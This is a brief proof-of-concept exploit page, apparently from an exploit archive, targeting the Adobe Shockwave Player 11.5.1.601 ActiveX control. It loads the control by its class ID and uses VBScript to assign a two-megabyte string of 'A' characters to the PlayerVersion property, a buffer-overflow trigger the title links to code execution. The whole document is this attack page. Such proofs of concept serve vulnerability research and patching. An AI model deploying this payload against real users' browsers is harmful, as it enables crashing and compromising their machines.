Adobe Shockwave Player 11.5.1.601 - Multiple Code Executions
<html>
<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>
argCount = 1
arg1=String(2097152, "A")
ShockW.PlayerVersion = arg1
</script>